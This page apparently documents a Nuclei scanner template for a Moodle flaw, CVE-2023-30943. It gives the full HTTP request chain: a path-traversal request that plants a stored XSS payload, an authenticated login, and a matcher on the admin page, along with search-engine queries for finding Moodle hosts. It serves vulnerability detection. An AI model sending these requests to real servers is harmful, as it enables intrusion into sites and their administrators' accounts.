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Moodle - Cross-Site Scripting/Remote Code Execution

ID: CVE-2023-30943

Severity: medium

Author: ritikchaddha

Tags: cve,cve2023,moodle,xss,rce,authenticated

Description

Section titled “Description”

The vulnerability was found Moodle which exists because the application allows a user to control path of the older to create in TinyMCE loaders. A remote user can send a specially crafted HTTP request and create arbitrary folders on the system. Moodle versions 4.1.x before 4.1.3 and 4.2.x before 4.2.0 are susceptible to an unauthenticated arbitrary folder creation, tracked as CVE-2023-30943. An attacker can leverage the creation of arbitrary folders to carry out a Stored Cross-Site Scripting (XSS) attack on the administration panel, resulting in arbitrary code execution on the server as soon as an administrator visits the panel.

YAML Source

Section titled “YAML Source”
id: CVE-2023-30943


info:
  name: Moodle - Cross-Site Scripting/Remote Code Execution
  author: ritikchaddha
  severity: medium
  description: |
    The vulnerability was found Moodle which exists because the application allows a user to control path of the older to create in TinyMCE loaders. A remote user can send a specially crafted HTTP request and create arbitrary folders on the system. Moodle versions 4.1.x before 4.1.3 and 4.2.x before 4.2.0 are susceptible to an unauthenticated arbitrary folder creation, tracked as CVE-2023-30943. An attacker can leverage the creation of arbitrary folders to carry out a Stored Cross-Site Scripting (XSS) attack on the administration panel, resulting in arbitrary code execution on the server as soon as an administrator visits the panel.
  impact: |
    Successful exploitation of these vulnerabilities could lead to unauthorized access, data theft, and potential compromise of the Moodle application and its users.
  reference:
    - https://www.sonarsource.com/blog/playing-dominos-with-moodles-security-1/?utm_source=twitter&utm_medium=social&utm_campaign=wordpress&utm_content=security&utm_term=mofu
    - https://nvd.nist.gov/vuln/detail/CVE-2023-30943
    - http://git.moodle.org/gw?p=moodle.git&a=search&h=HEAD&st=commit&s=MDL-77718
    - https://bugzilla.redhat.com/show_bug.cgi?id=2188605
    - https://lists.fedoraproject.org/archives/list/[email protected]/message/54TM5H5PDUDYXOQ7X7PPYWP4AJDAE73I/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
    cvss-score: 5.3
    cve-id: CVE-2023-30943
    cwe-id: CWE-610,CWE-73
    epss-score: 0.01155
    epss-percentile: 0.84809
    cpe: cpe:2.3:a:moodle:moodle:*:*:*:*:*:*:*:*
  metadata:
    max-request: 4
    vendor: moodle
    product: moodle
    shodan-query:
      - title:"Moodle"
      - cpe:"cpe:2.3:a:moodle:moodle"
      - http.title:"moodle"
    fofa-query: title="moodle"
    google-query: intitle:"moodle"
  tags: cve,cve2023,moodle,xss,rce,authenticated


http:
  - raw:
      - |
        GET /lib/editor/tiny/loader.php?rev=a/../../../../html/pix/f/<input><img%20src=x%20onerror=alert(document.domain)>.png HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
      - |
        GET /login/index.php HTTP/2
        Host: {{Hostname}}
      - |
        POST /login/index.php HTTP/2
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        anchor=&logintoken={{token}}&username={{username}}&password={{password}}
      - |
        GET /admin/tool/filetypes/edit.php?name=add HTTP/1.1
        Host: {{Hostname}}


    host-redirects: true


    matchers-condition: and
    matchers:
      - type: word
        part: body_4
        words:
          - "<img src=x onerror=alert(document.domain)>"
          - ">archive"
          - "File icon"
        condition: and


      - type: word
        part: header_4
        words:
          - text/html


      - type: status
        part: header_4
        status:
          - 200


    extractors:
      - type: regex
        part: body
        name: token
        group: 1
        regex:
          - 'name="logintoken" value="([a-zA-Z0-9]+)">'
        internal: true
# digest: 4a0a00473045022100d546dade1880637d2afcb470cffd9008406291be82ef6083e955cc6119974790022008d53e56e91b77d0e41070b43bb07806df49cc5004dec233279a56c5580be0b4:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-30943.yaml"

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